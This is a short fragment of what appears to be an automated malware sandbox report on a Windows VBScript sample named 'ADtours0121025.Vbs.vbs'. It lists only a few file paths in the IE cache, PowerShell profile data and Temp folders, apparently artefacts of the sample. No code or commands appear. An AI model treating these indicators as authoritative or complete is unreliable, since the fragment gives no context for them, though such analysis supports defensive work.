C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\SMG411[1]

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\G1Y9-55

Windows Analysis Report
ADtours0121025.Vbs.vbs